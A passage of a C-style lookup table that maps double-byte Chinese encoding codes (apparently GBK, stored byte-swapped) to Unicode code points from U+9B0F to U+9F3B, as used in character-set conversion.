{0xddf7,0x9b0f},{0x47f4,0x9b10},{0x48f4,0x9b11},{0x49f4,0x9b12},{0xdef7,0x9b13},
{0x4af4,0x9b14},{0x4bf4,0x9b15},{0x4cf4,0x9b16},{0x4df4,0x9b17},{0x4ef4,0x9b18},
{0x4ff4,0x9b19},{0x50f4,0x9b1a},{0x51f4,0x9b1b},{0x52f4,0x9b1c},{0x53f4,0x9b1d},
{0x54f4,0x9b1e},{0xdff7,0x9b1f},{0x55f4,0x9b20},{0x56f4,0x9b21},{0x57f4,0x9b22},
{0xe0f7,0x9b23},{0x58f4,0x9b24},{0x59f4,0x9b25},{0x5af4,0x9b26},{0x5bf4,0x9b27},
{0x5cf4,0x9b28},{0x5df4,0x9b29},{0x5ef4,0x9b2a},{0x5ff4,0x9b2b},{0x60f4,0x9b2c},
{0x61f4,0x9b2d},{0x62f4,0x9b2e},{0xcbdb,0x9b2f},{0x63f4,0x9b30},{0x64f4,0x9b31},
{0xaad8,0x9b32},{0x65f4,0x9b33},{0x66f4,0x9b34},{0x67f4,0x9b35},{0x68f4,0x9b36},
{0x69f4,0x9b37},{0x6af4,0x9b38},{0x6bf4,0x9b39},{0x6cf4,0x9b3a},{0xf7e5,0x9b3b},
{0xedb9,0x9b3c},{0x6df4,0x9b3d},{0x6ef4,0x9b3e},{0x6ff4,0x9b3f},{0x70f4,0x9b40},
{0xfdbf,0x9b41},{0xeabb,0x9b42},{0xc9f7,0x9b43},{0xc7c6,0x9b44},{0xc8f7,0x9b45},
{0x71f4,0x9b46},{0xcaf7,0x9b47},{0xccf7,0x9b48},{0xcbf7,0x9b49},{0x72f4,0x9b4a},
{0x73f4,0x9b4b},{0x74f4,0x9b4c},{0xcdf7,0x9b4d},{0x75f4,0x9b4e},{0xbace,0x9b4f},
{0x76f4,0x9b50},{0xcef7,0x9b51},{0x77f4,0x9b52},{0x78f4,0x9b53},{0xa7c4,0x9b54},
{0x79f4,0x9b55},{0x7af4,0x9b56},{0x7bf4,0x9b57},{0x7cf4,0x9b58},{0x7df4,0x9b59},
{0x7ef4,0x9b5a},{0x80f4,0x9b5b},{0x81f4,0x9b5c},{0x82f4,0x9b5d},{0x83f4,0x9b5e},
{0x84f4,0x9b5f},{0x85f4,0x9b60},{0x86f4,0x9b61},{0x87f4,0x9b62},{0x88f4,0x9b63},
{0x89f4,0x9b64},{0x8af4,0x9b65},{0x8bf4,0x9b66},{0x8cf4,0x9b67},{0x8df4,0x9b68},
{0x8ef4,0x9b69},{0x8ff4,0x9b6a},{0x90f4,0x9b6b},{0x91f4,0x9b6c},{0x92f4,0x9b6d},
{0x93f4,0x9b6e},{0x94f4,0x9b6f},{0x95f4,0x9b70},{0x96f4,0x9b71},{0x97f4,0x9b72},
{0x98f4,0x9b73},{0x99f4,0x9b74},{0x9af4,0x9b75},{0x9bf4,0x9b76},{0x9cf4,0x9b77},
{0x9df4,0x9b78},{0x9ef4,0x9b79},{0x9ff4,0x9b7a},{0xa0f4,0x9b7b},{0x40f5,0x9b7c},
{0x41f5,0x9b7d},{0x42f5,0x9b7e},{0x43f5,0x9b7f},{0x44f5,0x9b80},{0x45f5,0x9b81},
{0x46f5,0x9b82},{0x47f5,0x9b83},{0x48f5,0x9b84},{0x49f5,0x9b85},{0x4af5,0x9b86},
{0x4bf5,0x9b87},{0x4cf5,0x9b88},{0x4df5,0x9b89},{0x4ef5,0x9b8a},{0x4ff5,0x9b8b},
{0x50f5,0x9b8c},{0x51f5,0x9b8d},{0x52f5,0x9b8e},{0x53f5,0x9b8f},{0x54f5,0x9b90},
{0x55f5,0x9b91},{0x56f5,0x9b92},{0x57f5,0x9b93},{0x58f5,0x9b94},{0x59f5,0x9b95},
{0x5af5,0x9b96},{0x5bf5,0x9b97},{0x5cf5,0x9b98},{0x5df5,0x9b99},{0x5ef5,0x9b9a},
{0x5ff5,0x9b9b},{0x60f5,0x9b9c},{0x61f5,0x9b9d},{0x62f5,0x9b9e},{0x63f5,0x9b9f},
{0x64f5,0x9ba0},{0x65f5,0x9ba1},{0x66f5,0x9ba2},{0x67f5,0x9ba3},{0x68f5,0x9ba4},
{0x69f5,0x9ba5},{0x6af5,0x9ba6},{0x6bf5,0x9ba7},{0x6cf5,0x9ba8},{0x6df5,0x9ba9},
{0x6ef5,0x9baa},{0x6ff5,0x9bab},{0x70f5,0x9bac},{0x71f5,0x9bad},{0x72f5,0x9bae},
{0x73f5,0x9baf},{0x74f5,0x9bb0},{0x75f5,0x9bb1},{0x76f5,0x9bb2},{0x77f5,0x9bb3},
{0x78f5,0x9bb4},{0x79f5,0x9bb5},{0x7af5,0x9bb6},{0x7bf5,0x9bb7},{0x7cf5,0x9bb8},
{0x7df5,0x9bb9},{0x7ef5,0x9bba},{0x80f5,0x9bbb},{0x81f5,0x9bbc},{0x82f5,0x9bbd},
{0x83f5,0x9bbe},{0x84f5,0x9bbf},{0x85f5,0x9bc0},{0x86f5,0x9bc1},{0x87f5,0x9bc2},
{0x88f5,0x9bc3},{0x89f5,0x9bc4},{0x8af5,0x9bc5},{0x8bf5,0x9bc6},{0x8cf5,0x9bc7},
{0x8df5,0x9bc8},{0x8ef5,0x9bc9},{0x8ff5,0x9bca},{0x90f5,0x9bcb},{0x91f5,0x9bcc},
{0x92f5,0x9bcd},{0x93f5,0x9bce},{0x94f5,0x9bcf},{0x95f5,0x9bd0},{0x96f5,0x9bd1},
{0x97f5,0x9bd2},{0x98f5,0x9bd3},{0x99f5,0x9bd4},{0x9af5,0x9bd5},{0x9bf5,0x9bd6},
{0x9cf5,0x9bd7},{0x9df5,0x9bd8},{0x9ef5,0x9bd9},{0x9ff5,0x9bda},{0xa0f5,0x9bdb},
{0x40f6,0x9bdc},{0x41f6,0x9bdd},{0x42f6,0x9bde},{0x43f6,0x9bdf},{0x44f6,0x9be0},
{0x45f6,0x9be1},{0x46f6,0x9be2},{0x47f6,0x9be3},{0x48f6,0x9be4},{0x49f6,0x9be5},
{0x4af6,0x9be6},{0x4bf6,0x9be7},{0x4cf6,0x9be8},{0x4df6,0x9be9},{0x4ef6,0x9bea},
{0x4ff6,0x9beb},{0x50f6,0x9bec},{0x51f6,0x9bed},{0x52f6,0x9bee},{0x53f6,0x9bef},
{0x54f6,0x9bf0},{0x55f6,0x9bf1},{0x56f6,0x9bf2},{0x57f6,0x9bf3},{0x58f6,0x9bf4},
{0x59f6,0x9bf5},{0x5af6,0x9bf6},{0x5bf6,0x9bf7},{0x5cf6,0x9bf8},{0x5df6,0x9bf9},
{0x5ef6,0x9bfa},{0x5ff6,0x9bfb},{0x60f6,0x9bfc},{0x61f6,0x9bfd},{0x62f6,0x9bfe},
{0x64f6,0x9c00},{0x65f6,0x9c01},{0x66f6,0x9c02},{0x67f6,0x9c03},{0x68f6,0x9c04},
{0x69f6,0x9c05},{0x6af6,0x9c06},{0x6bf6,0x9c07},{0x6cf6,0x9c08},{0x6df6,0x9c09},
{0x6ef6,0x9c0a},{0x6ff6,0x9c0b},{0x70f6,0x9c0c},{0x71f6,0x9c0d},{0x72f6,0x9c0e},
{0x73f6,0x9c0f},{0x74f6,0x9c10},{0x75f6,0x9c11},{0x76f6,0x9c12},{0x77f6,0x9c13},
{0x78f6,0x9c14},{0x79f6,0x9c15},{0x7af6,0x9c16},{0x7bf6,0x9c17},{0x7cf6,0x9c18},
{0x7df6,0x9c19},{0x7ef6,0x9c1a},{0x80f6,0x9c1b},{0x81f6,0x9c1c},{0x82f6,0x9c1d},
{0x83f6,0x9c1e},{0x84f6,0x9c1f},{0x85f6,0x9c20},{0x86f6,0x9c21},{0x87f6,0x9c22},
{0x88f6,0x9c23},{0x89f6,0x9c24},{0x8af6,0x9c25},{0x8bf6,0x9c26},{0x8cf6,0x9c27},
{0x8df6,0x9c28},{0x8ef6,0x9c29},{0x8ff6,0x9c2a},{0x90f6,0x9c2b},{0x91f6,0x9c2c},
{0x92f6,0x9c2d},{0x93f6,0x9c2e},{0x94f6,0x9c2f},{0x95f6,0x9c30},{0x96f6,0x9c31},
{0x97f6,0x9c32},{0x98f6,0x9c33},{0x99f6,0x9c34},{0x9af6,0x9c35},{0x9bf6,0x9c36},
{0x9cf6,0x9c37},{0x9df6,0x9c38},{0x9ef6,0x9c39},{0x9ff6,0x9c3a},{0xa0f6,0x9c3b},
{0x40f7,0x9c3c},{0x41f7,0x9c3d},{0x42f7,0x9c3e},{0x43f7,0x9c3f},{0x44f7,0x9c40},
{0x45f7,0x9c41},{0x46f7,0x9c42},{0x47f7,0x9c43},{0x48f7,0x9c44},{0x49f7,0x9c45},
{0x4af7,0x9c46},{0x4bf7,0x9c47},{0x4cf7,0x9c48},{0x4df7,0x9c49},{0x4ef7,0x9c4a},
{0x4ff7,0x9c4b},{0x50f7,0x9c4c},{0x51f7,0x9c4d},{0x52f7,0x9c4e},{0x53f7,0x9c4f},
{0x54f7,0x9c50},{0x55f7,0x9c51},{0x56f7,0x9c52},{0x57f7,0x9c53},{0x58f7,0x9c54},
{0x59f7,0x9c55},{0x5af7,0x9c56},{0x5bf7,0x9c57},{0x5cf7,0x9c58},{0x5df7,0x9c59},
{0x5ef7,0x9c5a},{0x5ff7,0x9c5b},{0x60f7,0x9c5c},{0x61f7,0x9c5d},{0x62f7,0x9c5e},
{0x63f7,0x9c5f},{0x64f7,0x9c60},{0x65f7,0x9c61},{0x66f7,0x9c62},{0x67f7,0x9c63},
{0x68f7,0x9c64},{0x69f7,0x9c65},{0x6af7,0x9c66},{0x6bf7,0x9c67},{0x6cf7,0x9c68},
{0x6df7,0x9c69},{0x6ef7,0x9c6a},{0x6ff7,0x9c6b},{0x70f7,0x9c6c},{0x71f7,0x9c6d},
{0x72f7,0x9c6e},{0x73f7,0x9c6f},{0x74f7,0x9c70},{0x75f7,0x9c71},{0x76f7,0x9c72},
{0x77f7,0x9c73},{0x78f7,0x9c74},{0x79f7,0x9c75},{0x7af7,0x9c76},{0x7bf7,0x9c77},
{0x7cf7,0x9c78},{0x7df7,0x9c79},{0x7ef7,0x9c7a},{0x80f7,0x9c7b},{0xe3d3,0x9c7c},
{0x81f7,0x9c7d},{0x82f7,0x9c7e},{0xcff6,0x9c7f},{0x83f7,0x9c80},{0xb3c2,0x9c81},
{0xd0f6,0x9c82},{0x84f7,0x9c83},{0x85f7,0x9c84},{0xd1f6,0x9c85},{0xd2f6,0x9c86},
{0xd3f6,0x9c87},{0xd4f6,0x9c88},{0x86f7,0x9c89},{0x87f7,0x9c8a},{0xd6f6,0x9c8b},
{0x88f7,0x9c8c},{0xabb1,0x9c8d},{0xd7f6,0x9c8e},{0x89f7,0x9c8f},{0xd8f6,0x9c90},
{0xd9f6,0x9c91},{0xdaf6,0x9c92},{0x8af7,0x9c93},{0xdbf6,0x9c94},{0xdcf6,0x9c95},
{0x8bf7,0x9c96},{0x8cf7,0x9c97},{0x8df7,0x9c98},{0x8ef7,0x9c99},{0xddf6,0x9c9a},
{0xdef6,0x9c9b},{0xcacf,0x9c9c},{0x8ff7,0x9c9d},{0xdff6,0x9c9e},{0xe0f6,0x9c9f},
{0xe1f6,0x9ca0},{0xe2f6,0x9ca1},{0xe3f6,0x9ca2},{0xe4f6,0x9ca3},{0xf0c0,0x9ca4},
{0xe5f6,0x9ca5},{0xe6f6,0x9ca6},{0xe7f6,0x9ca7},{0xe8f6,0x9ca8},{0xe9f6,0x9ca9},
{0x90f7,0x9caa},{0xeaf6,0x9cab},{0x91f7,0x9cac},{0xebf6,0x9cad},{0xecf6,0x9cae},
{0x92f7,0x9caf},{0xedf6,0x9cb0},{0xeef6,0x9cb1},{0xeff6,0x9cb2},{0xf0f6,0x9cb3},
{0xf1f6,0x9cb4},{0xf2f6,0x9cb5},{0xf3f6,0x9cb6},{0xf4f6,0x9cb7},{0xa8be,0x9cb8},
{0x93f7,0x9cb9},{0xf5f6,0x9cba},{0xf6f6,0x9cbb},{0xf7f6,0x9cbc},{0xf8f6,0x9cbd},
{0x94f7,0x9cbe},{0x95f7,0x9cbf},{0x96f7,0x9cc0},{0x97f7,0x9cc1},{0x98f7,0x9cc2},
{0xfac8,0x9cc3},{0xf9f6,0x9cc4},{0xfaf6,0x9cc5},{0xfbf6,0x9cc6},{0xfcf6,0x9cc7},
{0x99f7,0x9cc8},{0x9af7,0x9cc9},{0xfdf6,0x9cca},{0xfef6,0x9ccb},{0xa1f7,0x9ccc},
{0xa2f7,0x9ccd},{0xa3f7,0x9cce},{0xa4f7,0x9ccf},{0xa5f7,0x9cd0},{0x9bf7,0x9cd1},
{0x9cf7,0x9cd2},{0xa6f7,0x9cd3},{0xa7f7,0x9cd4},{0xa8f7,0x9cd5},{0xeeb1,0x9cd6},
{0xa9f7,0x9cd7},{0xaaf7,0x9cd8},{0xabf7,0x9cd9},{0x9df7,0x9cda},{0x9ef7,0x9cdb},
{0xacf7,0x9cdc},{0xadf7,0x9cdd},{0xdbc1,0x9cde},{0xaef7,0x9cdf},{0x9ff7,0x9ce0},
{0xa0f7,0x9ce1},{0xaff7,0x9ce2},{0x40f8,0x9ce3},{0x41f8,0x9ce4},{0x42f8,0x9ce5},
{0x43f8,0x9ce6},{0x44f8,0x9ce7},{0x45f8,0x9ce8},{0x46f8,0x9ce9},{0x47f8,0x9cea},
{0x48f8,0x9ceb},{0x49f8,0x9cec},{0x4af8,0x9ced},{0x4bf8,0x9cee},{0x4cf8,0x9cef},
{0x4df8,0x9cf0},{0x4ef8,0x9cf1},{0x4ff8,0x9cf2},{0x50f8,0x9cf3},{0x51f8,0x9cf4},
{0x52f8,0x9cf5},{0x53f8,0x9cf6},{0x54f8,0x9cf7},{0x55f8,0x9cf8},{0x56f8,0x9cf9},
{0x57f8,0x9cfa},{0x58f8,0x9cfb},{0x59f8,0x9cfc},{0x5af8,0x9cfd},{0x5bf8,0x9cfe},
{0x5df8,0x9d00},{0x5ef8,0x9d01},{0x5ff8,0x9d02},{0x60f8,0x9d03},{0x61f8,0x9d04},
{0x62f8,0x9d05},{0x63f8,0x9d06},{0x64f8,0x9d07},{0x65f8,0x9d08},{0x66f8,0x9d09},
{0x67f8,0x9d0a},{0x68f8,0x9d0b},{0x69f8,0x9d0c},{0x6af8,0x9d0d},{0x6bf8,0x9d0e},
{0x6cf8,0x9d0f},{0x6df8,0x9d10},{0x6ef8,0x9d11},{0x6ff8,0x9d12},{0x70f8,0x9d13},
{0x71f8,0x9d14},{0x72f8,0x9d15},{0x73f8,0x9d16},{0x74f8,0x9d17},{0x75f8,0x9d18},
{0x76f8,0x9d19},{0x77f8,0x9d1a},{0x78f8,0x9d1b},{0x79f8,0x9d1c},{0x7af8,0x9d1d},
{0x7bf8,0x9d1e},{0x7cf8,0x9d1f},{0x7df8,0x9d20},{0x7ef8,0x9d21},{0x80f8,0x9d22},
{0x81f8,0x9d23},{0x82f8,0x9d24},{0x83f8,0x9d25},{0x84f8,0x9d26},{0x85f8,0x9d27},
{0x86f8,0x9d28},{0x87f8,0x9d29},{0x88f8,0x9d2a},{0x89f8,0x9d2b},{0x8af8,0x9d2c},
{0x8bf8,0x9d2d},{0x8cf8,0x9d2e},{0x8df8,0x9d2f},{0x8ef8,0x9d30},{0x8ff8,0x9d31},
{0x90f8,0x9d32},{0x91f8,0x9d33},{0x92f8,0x9d34},{0x93f8,0x9d35},{0x94f8,0x9d36},
{0x95f8,0x9d37},{0x96f8,0x9d38},{0x97f8,0x9d39},{0x98f8,0x9d3a},{0x99f8,0x9d3b},
{0x9af8,0x9d3c},{0x9bf8,0x9d3d},{0x9cf8,0x9d3e},{0x9df8,0x9d3f},{0x9ef8,0x9d40},
{0x9ff8,0x9d41},{0xa0f8,0x9d42},{0x40f9,0x9d43},{0x41f9,0x9d44},{0x42f9,0x9d45},
{0x43f9,0x9d46},{0x44f9,0x9d47},{0x45f9,0x9d48},{0x46f9,0x9d49},{0x47f9,0x9d4a},
{0x48f9,0x9d4b},{0x49f9,0x9d4c},{0x4af9,0x9d4d},{0x4bf9,0x9d4e},{0x4cf9,0x9d4f},
{0x4df9,0x9d50},{0x4ef9,0x9d51},{0x4ff9,0x9d52},{0x50f9,0x9d53},{0x51f9,0x9d54},
{0x52f9,0x9d55},{0x53f9,0x9d56},{0x54f9,0x9d57},{0x55f9,0x9d58},{0x56f9,0x9d59},
{0x57f9,0x9d5a},{0x58f9,0x9d5b},{0x59f9,0x9d5c},{0x5af9,0x9d5d},{0x5bf9,0x9d5e},
{0x5cf9,0x9d5f},{0x5df9,0x9d60},{0x5ef9,0x9d61},{0x5ff9,0x9d62},{0x60f9,0x9d63},
{0x61f9,0x9d64},{0x62f9,0x9d65},{0x63f9,0x9d66},{0x64f9,0x9d67},{0x65f9,0x9d68},
{0x66f9,0x9d69},{0x67f9,0x9d6a},{0x68f9,0x9d6b},{0x69f9,0x9d6c},{0x6af9,0x9d6d},
{0x6bf9,0x9d6e},{0x6cf9,0x9d6f},{0x6df9,0x9d70},{0x6ef9,0x9d71},{0x6ff9,0x9d72},
{0x70f9,0x9d73},{0x71f9,0x9d74},{0x72f9,0x9d75},{0x73f9,0x9d76},{0x74f9,0x9d77},
{0x75f9,0x9d78},{0x76f9,0x9d79},{0x77f9,0x9d7a},{0x78f9,0x9d7b},{0x79f9,0x9d7c},
{0x7af9,0x9d7d},{0x7bf9,0x9d7e},{0x7cf9,0x9d7f},{0x7df9,0x9d80},{0x7ef9,0x9d81},
{0x80f9,0x9d82},{0x81f9,0x9d83},{0x82f9,0x9d84},{0x83f9,0x9d85},{0x84f9,0x9d86},
{0x85f9,0x9d87},{0x86f9,0x9d88},{0x87f9,0x9d89},{0x88f9,0x9d8a},{0x89f9,0x9d8b},
{0x8af9,0x9d8c},{0x8bf9,0x9d8d},{0x8cf9,0x9d8e},{0x8df9,0x9d8f},{0x8ef9,0x9d90},
{0x8ff9,0x9d91},{0x90f9,0x9d92},{0x91f9,0x9d93},{0x92f9,0x9d94},{0x93f9,0x9d95},
{0x94f9,0x9d96},{0x95f9,0x9d97},{0x96f9,0x9d98},{0x97f9,0x9d99},{0x98f9,0x9d9a},
{0x99f9,0x9d9b},{0x9af9,0x9d9c},{0x9bf9,0x9d9d},{0x9cf9,0x9d9e},{0x9df9,0x9d9f},
{0x9ef9,0x9da0},{0x9ff9,0x9da1},{0xa0f9,0x9da2},{0x40fa,0x9da3},{0x41fa,0x9da4},
{0x42fa,0x9da5},{0x43fa,0x9da6},{0x44fa,0x9da7},{0x45fa,0x9da8},{0x46fa,0x9da9},
{0x47fa,0x9daa},{0x48fa,0x9dab},{0x49fa,0x9dac},{0x4afa,0x9dad},{0x4bfa,0x9dae},
{0x4cfa,0x9daf},{0x4dfa,0x9db0},{0x4efa,0x9db1},{0x4ffa,0x9db2},{0x50fa,0x9db3},
{0x51fa,0x9db4},{0x52fa,0x9db5},{0x53fa,0x9db6},{0x54fa,0x9db7},{0x55fa,0x9db8},
{0x56fa,0x9db9},{0x57fa,0x9dba},{0x58fa,0x9dbb},{0x59fa,0x9dbc},{0x5afa,0x9dbd},
{0x5bfa,0x9dbe},{0x5cfa,0x9dbf},{0x5dfa,0x9dc0},{0x5efa,0x9dc1},{0x5ffa,0x9dc2},
{0x60fa,0x9dc3},{0x61fa,0x9dc4},{0x62fa,0x9dc5},{0x63fa,0x9dc6},{0x64fa,0x9dc7},
{0x65fa,0x9dc8},{0x66fa,0x9dc9},{0x67fa,0x9dca},{0x68fa,0x9dcb},{0x69fa,0x9dcc},
{0x6afa,0x9dcd},{0x6bfa,0x9dce},{0x6cfa,0x9dcf},{0x6dfa,0x9dd0},{0x6efa,0x9dd1},
{0x6ffa,0x9dd2},{0x70fa,0x9dd3},{0x71fa,0x9dd4},{0x72fa,0x9dd5},{0x73fa,0x9dd6},
{0x74fa,0x9dd7},{0x75fa,0x9dd8},{0x76fa,0x9dd9},{0x77fa,0x9dda},{0x78fa,0x9ddb},
{0x79fa,0x9ddc},{0x7afa,0x9ddd},{0x7bfa,0x9dde},{0x7cfa,0x9ddf},{0x7dfa,0x9de0},
{0x7efa,0x9de1},{0x80fa,0x9de2},{0x81fa,0x9de3},{0x82fa,0x9de4},{0x83fa,0x9de5},
{0x84fa,0x9de6},{0x85fa,0x9de7},{0x86fa,0x9de8},{0x87fa,0x9de9},{0x88fa,0x9dea},
{0x89fa,0x9deb},{0x8afa,0x9dec},{0x8bfa,0x9ded},{0x8cfa,0x9dee},{0x8dfa,0x9def},
{0x8efa,0x9df0},{0x8ffa,0x9df1},{0x90fa,0x9df2},{0x91fa,0x9df3},{0x92fa,0x9df4},
{0x93fa,0x9df5},{0x94fa,0x9df6},{0x95fa,0x9df7},{0x96fa,0x9df8},{0x97fa,0x9df9},
{0x98fa,0x9dfa},{0x99fa,0x9dfb},{0x9afa,0x9dfc},{0x9bfa,0x9dfd},{0x9cfa,0x9dfe},
{0x9efa,0x9e00},{0x9ffa,0x9e01},{0xa0fa,0x9e02},{0x40fb,0x9e03},{0x41fb,0x9e04},
{0x42fb,0x9e05},{0x43fb,0x9e06},{0x44fb,0x9e07},{0x45fb,0x9e08},{0x46fb,0x9e09},
{0x47fb,0x9e0a},{0x48fb,0x9e0b},{0x49fb,0x9e0c},{0x4afb,0x9e0d},{0x4bfb,0x9e0e},
{0x4cfb,0x9e0f},{0x4dfb,0x9e10},{0x4efb,0x9e11},{0x4ffb,0x9e12},{0x50fb,0x9e13},
{0x51fb,0x9e14},{0x52fb,0x9e15},{0x53fb,0x9e16},{0x54fb,0x9e17},{0x55fb,0x9e18},
{0x56fb,0x9e19},{0x57fb,0x9e1a},{0x58fb,0x9e1b},{0x59fb,0x9e1c},{0x5afb,0x9e1d},
{0x5bfb,0x9e1e},{0xf1c4,0x9e1f},{0xaff0,0x9e20},{0xa6bc,0x9e21},{0xb0f0,0x9e22},
{0xf9c3,0x9e23},{0x5cfb,0x9e24},{0xb8c5,0x9e25},{0xbbd1,0x9e26},{0x5dfb,0x9e27},
{0xb1f0,0x9e28},{0xb2f0,0x9e29},{0xb3f0,0x9e2a},{0xb4f0,0x9e2b},{0xb5f0,0x9e2c},
{0xbcd1,0x9e2d},{0x5efb,0x9e2e},{0xecd1,0x9e2f},{0x5ffb,0x9e30},{0xb7f0,0x9e31},
{0xb6f0,0x9e32},{0xa7d4,0x9e33},{0x60fb,0x9e34},{0xd2cd,0x9e35},{0xb8f0,0x9e36},
{0xbaf0,0x9e37},{0xb9f0,0x9e38},{0xbbf0,0x9e39},{0xbcf0,0x9e3a},{0x61fb,0x9e3b},
{0x62fb,0x9e3c},{0xebb8,0x9e3d},{0xbdf0,0x9e3e},{0xe8ba,0x9e3f},{0x63fb,0x9e40},
{0xbef0,0x9e41},{0xbff0,0x9e42},{0xe9be,0x9e43},{0xc0f0,0x9e44},{0xecb6,0x9e45},
{0xc1f0,0x9e46},{0xc2f0,0x9e47},{0xc3f0,0x9e48},{0xc4f0,0x9e49},{0xb5c8,0x9e4a},
{0xc5f0,0x9e4b},{0xc6f0,0x9e4c},{0x64fb,0x9e4d},{0xc7f0,0x9e4e},{0xf4c5,0x9e4f},
{0x65fb,0x9e50},{0xc8f0,0x9e51},{0x66fb,0x9e52},{0x67fb,0x9e53},{0x68fb,0x9e54},
{0xc9f0,0x9e55},{0x69fb,0x9e56},{0xcaf0,0x9e57},{0xbdf7,0x9e58},{0x6afb,0x9e59},
{0xcbf0,0x9e5a},{0xccf0,0x9e5b},{0xcdf0,0x9e5c},{0x6bfb,0x9e5d},{0xcef0,0x9e5e},
{0x6cfb,0x9e5f},{0x6dfb,0x9e60},{0x6efb,0x9e61},{0x6ffb,0x9e62},{0xcff0,0x9e63},
{0xd7ba,0x9e64},{0x70fb,0x9e65},{0xd0f0,0x9e66},{0xd1f0,0x9e67},{0xd2f0,0x9e68},
{0xd3f0,0x9e69},{0xd4f0,0x9e6a},{0xd5f0,0x9e6b},{0xd6f0,0x9e6c},{0xd8f0,0x9e6d},
{0x71fb,0x9e6e},{0x72fb,0x9e6f},{0xa5d3,0x9e70},{0xd7f0,0x9e71},{0x73fb,0x9e72},
{0xd9f0,0x9e73},{0x74fb,0x9e74},{0x75fb,0x9e75},{0x76fb,0x9e76},{0x77fb,0x9e77},
{0x78fb,0x9e78},{0x79fb,0x9e79},{0x7afb,0x9e7a},{0x7bfb,0x9e7b},{0x7cfb,0x9e7c},
{0x7dfb,0x9e7d},{0xbaf5,0x9e7e},{0xb9c2,0x9e7f},{0x7efb,0x9e80},{0x80fb,0x9e81},
{0xe4f7,0x9e82},{0x81fb,0x9e83},{0x82fb,0x9e84},{0x83fb,0x9e85},{0x84fb,0x9e86},
{0xe5f7,0x9e87},{0xe6f7,0x9e88},{0x85fb,0x9e89},{0x86fb,0x9e8a},{0xe7f7,0x9e8b},
{0x87fb,0x9e8c},{0x88fb,0x9e8d},{0x89fb,0x9e8e},{0x8afb,0x9e8f},{0x8bfb,0x9e90},
{0x8cfb,0x9e91},{0xe8f7,0x9e92},{0xb4c2,0x9e93},{0x8dfb,0x9e94},{0x8efb,0x9e95},
{0x8ffb,0x9e96},{0x90fb,0x9e97},{0x91fb,0x9e98},{0x92fb,0x9e99},{0x93fb,0x9e9a},
{0x94fb,0x9e9b},{0x95fb,0x9e9c},{0xeaf7,0x9e9d},{0x96fb,0x9e9e},{0xebf7,0x9e9f},
{0x97fb,0x9ea0},{0x98fb,0x9ea1},{0x99fb,0x9ea2},{0x9afb,0x9ea3},{0x9bfb,0x9ea4},
{0x9cfb,0x9ea5},{0xf3c2,0x9ea6},{0x9dfb,0x9ea7},{0x9efb,0x9ea8},{0x9ffb,0x9ea9},
{0xa0fb,0x9eaa},{0x40fc,0x9eab},{0x41fc,0x9eac},{0x42fc,0x9ead},{0x43fc,0x9eae},
{0x44fc,0x9eaf},{0x45fc,0x9eb0},{0x46fc,0x9eb1},{0x47fc,0x9eb2},{0x48fc,0x9eb3},
{0xf0f4,0x9eb4},{0x49fc,0x9eb5},{0x4afc,0x9eb6},{0x4bfc,0x9eb7},{0xeff4,0x9eb8},
{0x4cfc,0x9eb9},{0x4dfc,0x9eba},{0xe9c2,0x9ebb},{0x4efc,0x9ebc},{0xe1f7,0x9ebd},
{0xe2f7,0x9ebe},{0x4ffc,0x9ebf},{0x50fc,0x9ec0},{0x51fc,0x9ec1},{0x52fc,0x9ec2},
{0x53fc,0x9ec3},{0xc6bb,0x9ec4},{0x54fc,0x9ec5},{0x55fc,0x9ec6},{0x56fc,0x9ec7},
{0x57fc,0x9ec8},{0xe4d9,0x9ec9},{0x58fc,0x9eca},{0x59fc,0x9ecb},{0x5afc,0x9ecc},
{0xf2ca,0x9ecd},{0xe8c0,0x9ece},{0xa4f0,0x9ecf},{0x5bfc,0x9ed0},{0xdaba,0x9ed1},
{0x5cfc,0x9ed2},{0x5dfc,0x9ed3},{0xadc7,0x9ed4},{0x5efc,0x9ed5},{0x5ffc,0x9ed6},
{0x60fc,0x9ed7},{0xacc4,0x9ed8},{0x61fc,0x9ed9},{0x62fc,0x9eda},{0xecf7,0x9edb},
{0xedf7,0x9edc},{0xeef7,0x9edd},{0x63fc,0x9ede},{0xf0f7,0x9edf},{0xeff7,0x9ee0},
{0x64fc,0x9ee1},{0xf1f7,0x9ee2},{0x65fc,0x9ee3},{0x66fc,0x9ee4},{0xf4f7,0x9ee5},
{0x67fc,0x9ee6},{0xf3f7,0x9ee7},{0x68fc,0x9ee8},{0xf2f7,0x9ee9},{0xf5f7,0x9eea},
{0x69fc,0x9eeb},{0x6afc,0x9eec},{0x6bfc,0x9eed},{0x6cfc,0x9eee},{0xf6f7,0x9eef},
{0x6dfc,0x9ef0},{0x6efc,0x9ef1},{0x6ffc,0x9ef2},{0x70fc,0x9ef3},{0x71fc,0x9ef4},
{0x72fc,0x9ef5},{0x73fc,0x9ef6},{0x74fc,0x9ef7},{0x75fc,0x9ef8},{0xe9ed,0x9ef9},
{0x76fc,0x9efa},{0xeaed,0x9efb},{0xebed,0x9efc},{0x77fc,0x9efd},{0xbcf6,0x9efe},
{0x79fc,0x9f00},{0x7afc,0x9f01},{0x7bfc,0x9f02},{0x7cfc,0x9f03},{0x7dfc,0x9f04},
{0x7efc,0x9f05},{0x80fc,0x9f06},{0x81fc,0x9f07},{0x82fc,0x9f08},{0x83fc,0x9f09},
{0x84fc,0x9f0a},{0xbdf6,0x9f0b},{0x85fc,0x9f0c},{0xbef6,0x9f0d},{0xa6b6,0x9f0e},
{0x86fc,0x9f0f},{0xbed8,0x9f10},{0x87fc,0x9f11},{0x88fc,0x9f12},{0xc4b9,0x9f13},
{0x89fc,0x9f14},{0x8afc,0x9f15},{0x8bfc,0x9f16},{0xbbd8,0x9f17},{0x8cfc,0x9f18},
{0xb1dc,0x9f19},{0x8dfc,0x9f1a},{0x8efc,0x9f1b},{0x8ffc,0x9f1c},{0x90fc,0x9f1d},
{0x91fc,0x9f1e},{0x92fc,0x9f1f},{0xf3ca,0x9f20},{0x93fc,0x9f21},{0xf7f7,0x9f22},
{0x94fc,0x9f23},{0x95fc,0x9f24},{0x96fc,0x9f25},{0x97fc,0x9f26},{0x98fc,0x9f27},
{0x99fc,0x9f28},{0x9afc,0x9f29},{0x9bfc,0x9f2a},{0x9cfc,0x9f2b},{0xf8f7,0x9f2c},
{0x9dfc,0x9f2d},{0x9efc,0x9f2e},{0xf9f7,0x9f2f},{0x9ffc,0x9f30},{0xa0fc,0x9f31},
{0x40fd,0x9f32},{0x41fd,0x9f33},{0x42fd,0x9f34},{0x43fd,0x9f35},{0x44fd,0x9f36},
{0xfbf7,0x9f37},{0x45fd,0x9f38},{0xfaf7,0x9f39},{0x46fd,0x9f3a},{0xc7b1,0x9f3b},
